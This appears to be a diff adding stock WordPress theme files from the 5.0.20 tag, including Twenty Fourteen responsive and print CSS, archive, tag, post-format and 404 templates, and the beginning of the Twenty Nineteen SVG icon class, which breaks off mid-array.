+	.grid .featured-content .entry-header {
+		border-color: #000;
+		border-style: solid;
+		border-width: 12px 10px;
+		height: 96px;
+		padding: 0;
+	}
+
+	.slider .featured-content .entry-title {
+		font-size: 22px;
+		line-height: 1.0909090909;
+	}
+
+	.slider .featured-content .entry-header {
+		min-height: inherit;
+		padding: 24px 30px 48px;
+		position: absolute;
+		left: 0;
+		bottom: 0;
+		width: 50%;
+		z-index: 3;
+	}
+
+	.slider-control-paging {
+		background: transparent;
+		margin-top: -48px;
+		padding-left: 20px;
+		width: 50%;
+	}
+
+	.slider-direction-nav {
+		clear: none;
+		float: right;
+		margin-top: -48px;
+		width: 98px;
+	}
+
+	.slider-direction-nav li {
+		border: 0;
+		padding: 0 1px 0 0;
+	}
+
+	.slider-direction-nav li:last-child {
+		padding: 0 0 0 1px;
+	}
+
+	.slider-direction-nav a {
+		height: 48px;
+	}
+
+	.slider-direction-nav a:before {
+		line-height: 48px;
+	}
+
+	.site-info {
+		padding: 15px 30px;
+	}
+}
+
+@media screen and (min-width: 783px) {
+	.site-title {
+		/* Search-toggle width = 48px */
+		max-width: -webkit-calc(100% - 48px);
+		max-width:         calc(100% - 48px);
+	}
+
+	.header-main {
+		padding-right: 0;
+	}
+
+	.search-toggle {
+		margin-right: 0;
+	}
+
+	/* Fixed Header */
+
+	.masthead-fixed .site-header {
+		position: fixed;
+		top: 0;
+	}
+
+	.admin-bar.masthead-fixed .site-header {
+		top: 32px;
+	}
+
+	.masthead-fixed .site-main {
+		margin-top: 48px;
+	}
+
+	/* Navigation */
+
+	.site-navigation li .current_page_item > a,
+	.site-navigation li .current_page_ancestor > a,
+	.site-navigation li .current-menu-item > a,
+	.site-navigation li .current-menu-ancestor > a {
+		color: #fff;
+	}
+
+	/* Primary Navigation */
+
+	.primary-navigation {
+		float: right;
+		font-size: 11px;
+		margin: 0 1px 0 -12px;
+		padding: 0;
+		text-transform: uppercase;
+	}
+
+	.primary-navigation .menu-toggle {
+		display: none;
+		padding: 0;
+	}
+
+	.primary-navigation .nav-menu {
+		border-bottom: 0;
+		display: block;
+	}
+
+	.primary-navigation.toggled-on {
+		border-bottom: 0;
+		margin: 0;
+		padding: 0;
+	}
+
+	.primary-navigation li {
+		border: 0;
+		display: inline-block;
+		height: 48px;
+		line-height: 48px;
+		position: relative;
+	}
+
+	.primary-navigation a {
+		display: inline-block;
+		padding: 0 12px;
+		white-space: nowrap;
+	}
+
+	.primary-navigation ul ul {
+		background-color: #24890d;
+		float: left;
+		margin: 0;
+		position: absolute;
+		top: 48px;
+		left: -999em;
+		z-index: 99999;
+	}
+
+	.primary-navigation li li {
+		border: 0;
+		display: block;
+		height: auto;
+		line-height: 1.0909090909;
+	}
+
+	.primary-navigation ul ul ul {
+		left: -999em;
+		top: 0;
+	}
+
+	.primary-navigation ul ul a {
+		padding: 18px 12px;
+		white-space: normal;
+		width: 176px;
+	}
+
+	.primary-navigation li:hover > a,
+	.primary-navigation li.focus > a {
+		background-color: #24890d;
+		color: #fff;
+	}
+
+	.primary-navigation ul ul a:hover,
+	.primary-navigation ul ul li.focus > a {
+		background-color: #41a62a;
+	}
+
+	.primary-navigation ul li:hover > ul,
+	.primary-navigation ul li.focus > ul {
+		left: auto;
+	}
+
+	.primary-navigation ul ul li:hover > ul,
+	.primary-navigation ul ul li.focus > ul {
+		left: 100%;
+	}
+
+	.primary-navigation .menu-item-has-children > a,
+	.primary-navigation .page_item_has_children > a {
+		padding-right: 26px;
+	}
+
+	.primary-navigation .menu-item-has-children > a:after,
+	.primary-navigation .page_item_has_children > a:after {
+		-webkit-font-smoothing: antialiased;
+		content: "\f502";
+		display: inline-block;
+		font: normal 8px/1 Genericons;
+		position: absolute;
+		right: 12px;
+		top: 22px;
+		vertical-align: text-bottom;
+	}
+
+	.primary-navigation li .menu-item-has-children > a,
+	.primary-navigation li .page_item_has_children > a {
+		padding-right: 20px;
+		width: 168px;
+	}
+
+	.primary-navigation .menu-item-has-children li.menu-item-has-children > a:after,
+	.primary-navigation .menu-item-has-children li.page_item_has_children > a:after,
+	.primary-navigation .page_item_has_children li.menu-item-has-children > a:after,
+	.primary-navigation .page_item_has_children li.page_item_has_children > a:after {
+		content: "\f501";
+		right: 8px;
+		top: 20px;
+	}
+}
+
+@media screen and (min-width: 810px) {
+	.attachment .entry-attachment .attachment {
+		margin-right: -168px;
+		margin-left: -168px;
+		max-width: 810px;
+	}
+
+	.attachment .site-content .attachment img {
+		display: block;
+		margin: 0 auto;
+	}
+
+	.contributor-avatar {
+		margin-left: -168px;
+	}
+
+	.contributor-summary {
+		float: left;
+	}
+
+	.full-width .site-content blockquote.alignleft,
+	.full-width .site-content blockquote.alignright {
+		width: -webkit-calc(50% + 130px);
+		width:         calc(50% + 130px);
+	}
+
+	.full-width .site-content blockquote.alignleft,
+	.full-width .site-content img.size-full.alignleft,
+	.full-width .site-content img.size-large.alignleft,
+	.full-width .site-content img.size-medium.alignleft,
+	.full-width .site-content .wp-caption.alignleft {
+		margin-left: -168px;
+	}
+
+	.full-width .site-content .alignleft {
+		clear: left;
+	}
+
+	.full-width .site-content blockquote.alignright,
+	.full-width .site-content img.size-full.alignright,
+	.full-width .site-content img.size-large.alignright,
+	.full-width .site-content img.size-medium.alignright,
+	.full-width .site-content .wp-caption.alignright {
+		margin-right: -168px;
+	}
+
+	.full-width .site-content .alignright {
+		clear: right;
+	}
+}
+
+@media screen and (min-width: 846px) {
+	.content-area,
+	.content-sidebar {
+		padding-top: 72px;
+	}
+
+	.site-content .has-post-thumbnail .entry-header {
+		margin-top: -48px;
+	}
+
+	.comment-list .trackback,
+	.comment-list .pingback,
+	.comment-list article {
+		margin-bottom: 36px;
+		padding-top: 36px;
+	}
+
+	.comment-author .avatar {
+		height: 34px;
+		top: 2px;
+		width: 34px;
+	}
+
+	.comment-author,
+	.comment-awaiting-moderation,
+	.comment-content,
+	.comment-list .reply,
+	.comment-metadata {
+		padding-left: 50px;
+	}
+
+	.comment-list .children {
+		margin-left: 20px;
+	}
+
+	.full-width .site-content .hentry.has-post-thumbnail:first-child {
+		margin-top: -72px;
+	}
+
+	.featured-content {
+		margin-bottom: 0;
+	}
+}
+
+@media screen and (min-width: 1008px) {
+	.search-box-wrapper {
+		padding-left: 182px;
+	}
+
+	.main-content {
+		float: left;
+	}
+
+	.site-content {
+		margin-right: 29.04761904%;
+		margin-left: 182px;
+	}
+
+	.site-content .entry-header {
+		margin-top: 0;
+	}
+
+	.site-content .has-post-thumbnail .entry-header {
+		margin-top: 0;
+	}
+
+	.content-sidebar {
+		margin-left: -29.04761904%;
+		width: 29.04761904%;
+	}
+
+	.site:before {
+		background-color: #000;
+		content: "";
+		display: block;
+		height: 100%;
+		min-height: 100%;
+		position: absolute;
+		top: 0;
+		left: 0;
+		width: 182px;
+		z-index: 2;
+	}
+
+	#secondary {
+		background-color: transparent;
+		border: 0;
+		clear: none;
+		float: left;
+		margin: 0 0 0 -100%;
+		min-height: 100vh;
+		width: 122px;
+	}
+
+	.primary-sidebar {
+		padding-top: 0;
+	}
+
+	.site-description {
+		display: block;
+		margin: 0 0 18px;
+	}
+
+	.site-description:empty {
+		margin: 0;
+	}
+
+	.secondary-navigation {
+		font-size: 11px;
+		margin: 0 -30px 48px;
+		width: 182px;
+	}
+
+	.secondary-navigation li {
+		border-top: 1px solid rgba(255, 255, 255, 0.2);
+		position: relative;
+	}
+
+	.secondary-navigation a {
+		padding: 10px 30px;
+	}
+
+	.secondary-navigation ul ul {
+		background-color: #24890d;
+		position: absolute;
+		top: 0;
+		left: -999em;
+		width: 182px;
+		z-index: 99999;
+	}
+
+	.secondary-navigation li li {
+		border-top: 0;
+	}
+
+	.secondary-navigation li:hover > a,
+	.secondary-navigation li.focus > a {
+		background-color: #24890d;
+		color: #fff;
+	}
+
+	.secondary-navigation ul ul a:hover,
+	.secondary-navigation ul ul li.focus > a {
+		background-color: #41a62a;
+	}
+
+	.secondary-navigation ul li:hover > ul,
+	.secondary-navigation ul li.focus > ul {
+		left: 162px;
+	}
+
+	.secondary-navigation .menu-item-has-children > a {
+		padding-right: 38px;
+	}
+
+	.secondary-navigation .menu-item-has-children > a:after {
+		-webkit-font-smoothing: antialiased;
+		content: "\f501";
+		display: inline-block;
+		font: normal 8px/1 Genericons;
+		position: absolute;
+		right: 26px;
+		top: 14px;
+		vertical-align: text-bottom;
+	}
+
+	.footer-sidebar .widget,
+	.primary-sidebar .widget {
+		font-size: 12px;
+		line-height: 1.5;
+	}
+
+	.footer-sidebar .widget {
+		-webkit-box-sizing: border-box;
+		-moz-box-sizing:    border-box;
+		box-sizing:         border-box;
+		float: left;
+		padding: 0 30px;
+		width: 25%;
+	}
+
+	.footer-sidebar .widget h1,
+	.primary-sidebar .widget h1 {
+		font-size: 20px;
+		line-height: 1.2;
+	}
+
+	.footer-sidebar .widget h2,
+	.primary-sidebar .widget h2 {
+		font-size: 18px;
+		line-height: 1.3333333333;
+	}
+
+	.footer-sidebar .widget h3,
+	.primary-sidebar .widget h3 {
+		font-size: 16px;
+		line-height: 1.5;
+	}
+
+	.footer-sidebar .widget h4,
+	.primary-sidebar .widget h4 {
+		font-size: 14px;
+		line-height: 1.7142857142;
+	}
+
+	.footer-sidebar .widget h5,
+	.primary-sidebar .widget h5 {
+		font-size: 12px;
+		line-height: 2;
+	}
+
+	.footer-sidebar .widget h6,
+	.primary-sidebar .widget h6 {
+		font-size: 11px;
+		line-height: 2.1818181818;
+	}
+
+	.footer-sidebar .widget code,
+	.footer-sidebar .widget kbd,
+	.footer-sidebar .widget tt,
+	.footer-sidebar .widget var,
+	.footer-sidebar .widget samp,
+	.footer-sidebar .widget pre,
+	.primary-sidebar .widget code,
+	.primary-sidebar .widget kbd,
+	.primary-sidebar .widget tt,
+	.primary-sidebar .widget var,
+	.primary-sidebar .widget samp,
+	.primary-sidebar .widget pre {
+		font-size: 11px;
+		line-height: 1.6363636363;
+	}
+
+	.footer-sidebar .widget blockquote,
+	.primary-sidebar .widget blockquote {
+		font-size: 14px;
+		line-height: 1.2857142857;
+	}
+
+	.footer-sidebar .widget blockquote cite,
+	.primary-sidebar .widget blockquote cite {
+		font-size: 12px;
+		line-height: 1.5;
+	}
+
+	.footer-sidebar .widget input,
+	.footer-sidebar .widget textarea,
+	.primary-sidebar .widget input,
+	.primary-sidebar .widget textarea {
+		font-size: 12px;
+		padding: 3px 2px 4px 4px;
+	}
+
+	.footer-sidebar .widget input[type="button"],
+	.footer-sidebar .widget input[type="reset"],
+	.footer-sidebar .widget input[type="submit"],
+	.primary-sidebar .widget input[type="button"],
+	.primary-sidebar .widget input[type="reset"],
+	.primary-sidebar .widget input[type="submit"] {
+		padding: 5px 15px 4px;
+	}
+
+	.footer-sidebar .widget .widget-title,
+	.primary-sidebar .widget .widget-title {
+		font-size: 11px;
+		font-weight: 900;
+		line-height: 1.6363636363;
+		margin-bottom: 18px;
+	}
+
+	.footer-sidebar .widget_twentyfourteen_ephemera .entry-title,
+	.footer-sidebar .widget_twentyfourteen_ephemera .entry-meta,
+	.footer-sidebar .widget_twentyfourteen_ephemera .wp-caption-text,
+	.footer-sidebar .widget_twentyfourteen_ephemera .post-format-archive-link,
+	.footer-sidebar .widget_twentyfourteen_ephemera .entry-content table,
+	.primary-sidebar .widget_twentyfourteen_ephemera .entry-title,
+	.primary-sidebar .widget_twentyfourteen_ephemera .entry-meta,
+	.primary-sidebar .widget_twentyfourteen_ephemera .wp-caption-text,
+	.primary-sidebar .widget_twentyfourteen_ephemera .post-format-archive-link,
+	.primary-sidebar .widget_twentyfourteen_ephemera .entry-content table {
+		font-size: 11px;
+		line-height: 1.6363636363;
+	}
+
+	.footer-sidebar .widget_archive li,
+	.footer-sidebar .widget_categories li,
+	.footer-sidebar .widget_links li,
+	.footer-sidebar .widget_meta li,
+	.footer-sidebar .widget_nav_menu li,
+	.footer-sidebar .widget_pages li,
+	.footer-sidebar .widget_recent_comments li,
+	.footer-sidebar .widget_recent_entries li,
+	.primary-sidebar .widget_archive li,
+	.primary-sidebar .widget_categories li,
+	.primary-sidebar .widget_links li,
+	.primary-sidebar .widget_meta li,
+	.primary-sidebar .widget_nav_menu li,
+	.primary-sidebar .widget_pages li,
+	.primary-sidebar .widget_recent_comments li,
+	.primary-sidebar .widget_recent_entries li,
+	.primary-sidebar .widget_text li {
+		border-top: 0;
+		padding: 0 0 6px;
+	}
+
+	.footer-sidebar .widget_archive li:last-child,
+	.footer-sidebar .widget_categories li:last-child,
+	.footer-sidebar .widget_links li:last-child,
+	.footer-sidebar .widget_meta li:last-child,
+	.footer-sidebar .widget_nav_menu li:last-child,
+	.footer-sidebar .widget_pages li:last-child,
+	.footer-sidebar .widget_recent_comments li:last-child,
+	.footer-sidebar .widget_recent_entries li:last-child,
+	.primary-sidebar .widget_archive li:last-child,
+	.primary-sidebar .widget_categories li:last-child,
+	.primary-sidebar .widget_links li:last-child,
+	.primary-sidebar .widget_meta li:last-child,
+	.primary-sidebar .widget_nav_menu li:last-child,
+	.primary-sidebar .widget_pages li:last-child,
+	.primary-sidebar .widget_recent_comments li:last-child,
+	.primary-sidebar .widget_recent_entries li:last-child,
+	.primary-sidebar .widget_text li:last-child {
+		padding: 0;
+	}
+
+	.footer-sidebar .widget_categories li ul,
+	.footer-sidebar .widget_nav_menu li ul,
+	.footer-sidebar .widget_pages li ul,
+	.primary-sidebar .widget_categories li ul,
+	.primary-sidebar .widget_nav_menu li ul,
+	.primary-sidebar .widget_pages li ul,
+	.primary-sidebar .widget_text li ul {
+		border-top: 0;
+		margin-top: 6px;
+	}
+
+	#supplementary {
+		padding: 0;
+	}
+
+	.footer-sidebar {
+		font-size: 12px;
+		line-height: 1.5;
+	}
+
+	.featured-content {
+		padding-left: 182px;
+	}
+
+	.grid .featured-content .hentry {
+		width: 33.3333333%;
+	}
+
+	.grid .featured-content .hentry:nth-child( 2n+1 ) {
+		clear: none;
+	}
+
+	.grid .featured-content .hentry:nth-child( 3n+1 ) {
+		clear: both;
+	}
+
+	.grid .featured-content .entry-header {
+		height: 120px;
+	}
+}
+
+@media screen and (min-width: 1040px) {
+	.site-content .has-post-thumbnail .entry-header {
+		margin-top: -48px;
+	}
+
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-header,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		padding-right: 15px;
+		padding-left: 15px;
+	}
+
+	.full-width .archive-header,
+	.full-width .comments-area,
+	.full-width .image-navigation,
+	.full-width .page-header,
+	.full-width .page-content,
+	.full-width .post-navigation,
+	.full-width .site-content .entry-header,
+	.full-width .site-content .entry-content,
+	.full-width .site-content .entry-summary,
+	.full-width .site-content footer.entry-meta {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+}
+
+@media screen and (min-width: 1080px) {
+	.search-box .search-field {
+		width: 324px;
+	}
+
+	.site-content,
+	.site-main .widecolumn {
+		margin-left: 222px;
+	}
+
+	.site:before {
+		width: 222px;
+	}
+
+	.search-box-wrapper,
+	.featured-content {
+		padding-left: 222px;
+	}
+
+	#secondary {
+		width: 162px;
+	}
+
+	.secondary-navigation,
+	.secondary-navigation ul ul {
+		width: 222px;
+	}
+
+	.secondary-navigation ul li:hover > ul,
+	.secondary-navigation ul li.focus > ul {
+		left: 202px;
+	}
+
+	.slider .featured-content .entry-title {
+		font-size: 33px;
+	}
+
+	.slider .featured-content .entry-header,
+	.slider-control-paging {
+		width: 534px;
+	}
+
+	.slider-control-paging {
+		padding-left: 24px;
+	}
+
+	.slider-control-paging li {
+		margin: 12px 12px 12px 0;
+	}
+
+	.slider-control-paging a {
+		height: 24px;
+		width: 24px;
+	}
+
+	.slider-control-paging a:before {
+		top: 6px;
+		left: 6px;
+	}
+}
+
+@media screen and (min-width: 1110px) {
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-header,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+}
+
+@media screen and (min-width: 1218px) {
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-header,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		margin-right: 54px;
+	}
+
+	.full-width .archive-header,
+	.full-width .comments-area,
+	.full-width .image-navigation,
+	.full-width .page-header,
+	.full-width .page-content,
+	.full-width .post-navigation,
+	.full-width .site-content .entry-header,
+	.full-width .site-content .entry-content,
+	.full-width .site-content .entry-summary,
+	.full-width .site-content footer.entry-meta {
+		margin-right: auto;
+	}
+}
+
+@media screen and (min-width: 1260px) {
+	.site-content blockquote.alignleft,
+	.site-content blockquote.alignright {
+		width: -webkit-calc(50% + 18px);
+		width:         calc(50% + 18px);
+	}
+
+	.site-content blockquote.alignleft {
+		margin-left: -18%;
+	}
+
+	.site-content blockquote.alignright {
+		margin-right: -18%;
+	}
+}
+
+
+/**
+ * 12.0 Print
+ * -----------------------------------------------------------------------------
+ */
+
+@media print {
+	body {
+		background: none !important; /* Brute force since user agents all print differently. */
+		color: #2b2b2b;
+		font-size: 12pt;
+	}
+
+	.site,
+	.site-header,
+	.hentry,
+	.site-content .entry-header,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content .entry-meta,
+	.page-content,
+	.archive-header,
+	.page-header,
+	.contributor-info,
+	.comments-area,
+	.attachment .entry-attachment .attachment {
+		max-width: 100%;
+	}
+
+	#site-header img,
+	.search-toggle,
+	.site-navigation,
+	.site-content nav,
+	.edit-link,
+	.page-links,
+	.widget-area,
+	.more-link,
+	.post-format-archive-link,
+	.comment-respond,
+	.comment-list .reply,
+	.comment-reply-login,
+	#secondary,
+	.site-footer,
+	.slider-control-paging,
+	.slider-direction-nav {
+		display: none;
+	}
+
+	.site-title a,
+	.entry-meta,
+	.entry-meta a,
+	.featured-content .hentry,
+	.featured-content a {
+		color: #2b2b2b;
+	}
+
+	.entry-content a,
+	.entry-summary a,
+	.page-content a,
+	.comment-content a {
+		text-decoration: none;
+	}
+
+	.site-header,
+	.post-thumbnail,
+	a.post-thumbnail:hover,
+	.site-content .entry-header,
+	.site-footer,
+	.featured-content,
+	.featured-content .entry-header {
+		background: transparent;
+	}
+
+	.header-main {
+		padding: 48px 10px;
+	}
+
+	.site-title {
+		float: none;
+		font-size: 19pt;
+	}
+
+	.content-area {
+		padding-top: 0;
+	}
+
+	.list-view .site-content .hentry {
+		border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+		margin-bottom: 48px;
+		padding-bottom: 24px;
+	}
+
+	.post-thumbnail img {
+		margin: 0 10px 24px;
+	}
+
+	.site-content .has-post-thumbnail .entry-header {
+		padding-top: 0;
+	}
+
+	.site-content footer.entry-meta {
+		margin: 24px auto;
+	}
+
+	.entry-meta .tag-links a {
+		color: #fff;
+	}
+
+	.singular .site-content .hentry.has-post-thumbnail {
+		margin-top: 0;
+	}
+
+	.gallery-columns-1.gallery-size-medium,
+	.gallery-columns-1.gallery-size-thumbnail,
+	.gallery-columns-2.gallery-size-thumbnail,
+	.gallery-columns-3.gallery-size-thumbnail {
+		display: block;
+	}
+
+	.archive-title,
+	.page-title {
+		margin: 0 10px 48px;
+	}
+
+	.featured-content .hentry {
+		margin-bottom: 48px;
+	}
+
+	.featured-content .post-thumbnail,
+	.slider .featured-content .post-thumbnail {
+		padding-top: 0;
+	}
+
+	.featured-content .post-thumbnail img {
+		position: relative;
+	}
+
+	.featured-content .entry-header {
+		padding: 0 10px 24px;
+	}
+
+	.featured-content .entry-meta {
+		font-size: 9pt;
+		margin-bottom: 11px;
+	}
+
+	.featured-content .cat-links {
+		font-weight: 900;
+	}
+
+	.featured-content .entry-title {
+		font-size: 25pt;
+		line-height: 36px;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/tag.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/tag.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/tag.php	(revision 56912)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * The template for displaying Tag pages
+ *
+ * Used to display archive-type pages for posts in a tag.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'Tag Archives: %s', 'twentyfourteen' ), single_tag_title( '', false ) ); ?></h1>
+
+				<?php
+					// Show an optional term description.
+					$term_description = term_description();
+					if ( ! empty( $term_description ) ) :
+						printf( '<div class="taxonomy-description">%s</div>', $term_description );
+					endif;
+				?>
+			</header><!-- .archive-header -->
+
+			<?php
+					// Start the Loop.
+					while ( have_posts() ) : the_post();
+
+						/*
+						 * Include the post format-specific template for the content. If you want to
+						 * use this in a child theme, then include a file called content-___.php
+						 * (where ___ is the post format) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+
+					endwhile;
+					// Previous/next page navigation.
+					twentyfourteen_paging_nav();
+
+				else :
+					// If no content, include the "No posts found" template.
+					get_template_part( 'content', 'none' );
+
+				endif;
+			?>
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/taxonomy-post_format.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/taxonomy-post_format.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/taxonomy-post_format.php	(revision 56912)
@@ -0,0 +1,85 @@
+<?php
+/**
+ * The template for displaying Post Format pages
+ *
+ * Used to display archive-type pages for posts with a post format.
+ * If you'd like to further customize these Post Format views, you may create a
+ * new template file for each specific one.
+ *
+ * @todo https://core.trac.wordpress.org/ticket/23257: Add plural versions of Post Format strings
+ * and remove plurals below.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+			<header class="archive-header">
+				<h1 class="archive-title">
+					<?php
+						if ( is_tax( 'post_format', 'post-format-aside' ) ) :
+							_e( 'Asides', 'twentyfourteen' );
+
+						elseif ( is_tax( 'post_format', 'post-format-image' ) ) :
+							_e( 'Images', 'twentyfourteen' );
+
+						elseif ( is_tax( 'post_format', 'post-format-video' ) ) :
+							_e( 'Videos', 'twentyfourteen' );
+
+						elseif ( is_tax( 'post_format', 'post-format-audio' ) ) :
+							_e( 'Audio', 'twentyfourteen' );
+
+						elseif ( is_tax( 'post_format', 'post-format-quote' ) ) :
+							_e( 'Quotes', 'twentyfourteen' );
+
+						elseif ( is_tax( 'post_format', 'post-format-link' ) ) :
+							_e( 'Links', 'twentyfourteen' );
+
+						elseif ( is_tax( 'post_format', 'post-format-gallery' ) ) :
+							_e( 'Galleries', 'twentyfourteen' );
+
+						else :
+							_e( 'Archives', 'twentyfourteen' );
+
+						endif;
+					?>
+				</h1>
+			</header><!-- .archive-header -->
+
+			<?php
+					// Start the Loop.
+					while ( have_posts() ) : the_post();
+
+						/*
+						 * Include the post format-specific template for the content. If you want to
+						 * use this in a child theme, then include a file called content-___.php
+						 * (where ___ is the post format) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+
+					endwhile;
+					// Previous/next page navigation.
+					twentyfourteen_paging_nav();
+
+				else :
+					// If no content, include the "No posts found" template.
+					get_template_part( 'content', 'none' );
+
+				endif;
+			?>
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/404.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/404.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/404.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * The template for displaying 404 pages (not found)
+ *
+ * @link https://codex.wordpress.org/Creating_an_Error_404_Page
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+get_header();
+?>
+
+	<section id="primary" class="content-area">
+		<main id="main" class="site-main">
+
+			<div class="error-404 not-found">
+				<header class="page-header">
+					<h1 class="page-title"><?php _e( 'Oops! That page can&rsquo;t be found.', 'twentynineteen' ); ?></h1>
+				</header><!-- .page-header -->
+
+				<div class="page-content">
+					<p><?php _e( 'It looks like nothing was found at this location. Maybe try a search?', 'twentynineteen' ); ?></p>
+					<?php get_search_form(); ?>
+				</div><!-- .page-content -->
+			</div><!-- .error-404 -->
+
+		</main><!-- #main -->
+	</section><!-- #primary -->
+
+<?php
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/archive.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/archive.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/archive.php	(revision 56912)
@@ -0,0 +1,54 @@
+<?php
+/**
+ * The template for displaying archive pages
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+get_header();
+?>
+
+	<section id="primary" class="content-area">
+		<main id="main" class="site-main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<?php
+					the_archive_title( '<h1 class="page-title">', '</h1>' );
+				?>
+			</header><!-- .page-header -->
+
+			<?php
+			// Start the Loop.
+			while ( have_posts() ) :
+				the_post();
+
+				/*
+				 * Include the Post-Format-specific template for the content.
+				 * If you want to override this in a child theme, then include a file
+				 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+				 */
+				get_template_part( 'template-parts/content/content', 'excerpt' );
+
+				// End the loop.
+			endwhile;
+
+			// Previous/next page navigation.
+			twentynineteen_the_posts_navigation();
+
+			// If no content, include the "No posts found" template.
+		else :
+			get_template_part( 'template-parts/content/content', 'none' );
+
+		endif;
+		?>
+		</main><!-- #main -->
+	</section><!-- #primary -->
+
+<?php
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/classes/class-twentynineteen-svg-icons.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/classes/class-twentynineteen-svg-icons.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/classes/class-twentynineteen-svg-icons.php	(revision 56912)
@@ -0,0 +1,458 @@
+<?php
+/**
+ * SVG Icons class
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+/**
+ * This class is in charge of displaying SVG icons across the site.
+ *
+ * Place each <svg> source on its own array key, without adding the
+ * both `width` and `height` attributes, since these are added dnamically,
+ * before rendering the SVG code.
+ *
+ * All icons are assumed to have equal width and height, hence the option
+ * to only specify a `$size` parameter in the svg methods.
+ *
+ * @since 1.0.0
+ */
+class TwentyNineteen_SVG_Icons {
+
+	/**
+	 * Gets the SVG code for a given icon.
+	 */
+	public static function get_svg( $group, $icon, $size ) {
+		if ( 'ui' == $group ) {
+			$arr = self::$ui_icons;
+		} elseif ( 'social' == $group ) {
+			$arr = self::$social_icons;
+		} else {
+			$arr = array();
+		}
+		if ( array_key_exists( $icon, $arr ) ) {
+			$repl = sprintf( '<svg class="svg-icon" width="%d" height="%d" aria-hidden="true" role="img" focusable="false" ', $size, $size );
+			$svg  = preg_replace( '/^<svg /', $repl, trim( $arr[ $icon ] ) ); // Add extra attributes to SVG code.
+			$svg  = preg_replace( "/([\n\t]+)/", ' ', $svg ); // Remove newlines & tabs.
+			$svg  = preg_replace( '/>\s*</', '><', $svg ); // Remove white space between SVG tags.
+			return $svg;
+		}
+		return null;
+	}
+
+	/**
+	 * Detects the social network from a URL and returns the SVG code for its icon.
+	 */
+	public static function get_social_link_svg( $uri, $size ) {
+		static $regex_map; // Only compute regex map once, for performance.
+		if ( ! isset( $regex_map ) ) {
+			$regex_map = array();
+			$map       = &self::$social_icons_map; // Use reference instead of copy, to save memory.
+			foreach ( array_keys( self::$social_icons ) as $icon ) {
+				$domains            = array_key_exists( $icon, $map ) ? $map[ $icon ] : array( sprintf( '%s.com', $icon ) );
+				$domains            = array_map( 'trim', $domains ); // Remove leading/trailing spaces, to prevent regex from failing to match.
+				$domains            = array_map( 'preg_quote', $domains );
+				$regex_map[ $icon ] = sprintf( '/(%s)/i', implode( '|', $domains ) );
+			}
+		}
+		foreach ( $regex_map as $icon => $regex ) {
+			if ( preg_match( $regex, $uri ) ) {
+				return self::get_svg( 'social', $icon, $size );
+			}
+		}
+		return null;
+	}
+
+	/**
+	 * User Interface icons – svg sources.
+	 *
+	 * @var array
+	 */
+	static $ui_icons = array(
+		'link'                   => /* material-design – link */ '
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
+    <path d="M0 0h24v24H0z" fill="none"></path>
